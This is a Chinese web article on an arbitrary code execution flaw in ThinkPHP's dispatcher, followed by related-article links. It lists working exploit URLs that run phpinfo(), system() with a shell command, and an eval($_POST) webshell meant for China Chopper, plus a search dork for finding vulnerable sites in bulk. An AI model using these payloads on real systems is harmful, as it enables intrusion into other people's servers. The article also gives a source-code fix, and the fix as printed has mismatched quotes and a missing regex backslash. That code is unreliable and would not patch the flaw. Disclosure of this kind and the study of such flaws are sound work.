ThinkPHP框架任意代码执行漏洞的利用及其修复方法

 更新时间:2014年07月04日 11:01:33   投稿:shichen2014  
这篇文章主要介绍了ThinkPHP框架任意代码执行漏洞的利用及其修复方法,该漏洞的修复对于广大使用ThinkPHP的开发人员来说尤为重要!需要的朋友可以参考下

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

更多关于thinkPHP相关内容感兴趣的读者可查看本站专题:《ThinkPHP入门教程》、《thinkPHP模板操作技巧总结》、《ThinkPHP常用方法总结》、《smarty模板入门基础教程》及《PHP模板技术总结》。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

相关文章

  • php layui实现前端多图上传实例

    php layui实现前端多图上传实例

    在本篇文章里小编给大家整理的是关于php结合layui前端实现多图上传的实例内容,有需要的朋友们可以参考下。
    2019-07-07
  • Zend Framework教程之Zend_Db_Table用法详解

    Zend Framework教程之Zend_Db_Table用法详解

    这篇文章主要介绍了Zend Framework教程之Zend_Db_Table用法,结合实例形式详细分析了Zend_Db_Table的功能,使用方法与相关注意事项,需要的朋友可以参考下
    2016-03-03
  • Yii2实现自定义独立验证器的方法

    Yii2实现自定义独立验证器的方法

    这篇文章主要介绍了Yii2实现自定义独立验证器的方法,结合实例形式分析了Yii2自定义独立验证器的实现与使用方法,需要的朋友可以参考下
    2017-05-05
  • 浅谈PHP5.6 与 PHP7.0 区别

    浅谈PHP5.6 与 PHP7.0 区别

    这篇文章主要介绍了浅谈PHP5.6 与 PHP7.0 区别,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-10-10
  • ThinkPHP数据操作方法总结

    ThinkPHP数据操作方法总结

    这篇文章主要介绍了ThinkPHP数据操作方法,以实例形式较为详细的分析总结了ThinkPHP添加、更新、查询及删除数据的实现技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-09-09
  • Laravel 5框架学习之模型、控制器、视图基础流程

    Laravel 5框架学习之模型、控制器、视图基础流程

    本文给大家介绍的是Laravel5框架中模型、控制器、视图的基础流程,其实MVC体系结构模式将一个交互式系统分为三个组件。模型包含核心功能和数据。视图向用户显示信息。控制器处理用户输入。视图和控制器共同构成了用户接口。
    2015-04-04
  • php使用百度ping服务代码实例

    php使用百度ping服务代码实例

    这篇文章主要介绍了php使用百度ping服务代码实例,百度ping服务可以加速对自己网站的收录,一般在文章发表时调用,需要的朋友可以参考下
    2014-06-06
  • php反引号与短标签脚本示例

    php反引号与短标签脚本示例

    这篇文章主要为大家介绍了php反引号与短标签的脚本示例解析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步早日升职加薪
    2022-04-04
  • ajax php传递和接收变量实现思路及代码

    ajax php传递和接收变量实现思路及代码

    在实际应用中会遇到这种情况:ajax与php之间传递和接收变量,为了实现这一功能应用,很多新手朋友们,只能望洋兴叹啊,于是本人搜集整理一些实用技巧,晒出来和大家分享,希望可以帮助你们
    2012-12-12
  • Thinkphp结合ajaxFileUpload实现ajax异步图片传输全套代码

    Thinkphp结合ajaxFileUpload实现ajax异步图片传输全套代码

    这篇文章主要介绍了Thinkphp结合ajaxFileUpload实现ajax异步图片传输全套代码的相关资料,需要的朋友可以参考下
    2023-03-03

最新评论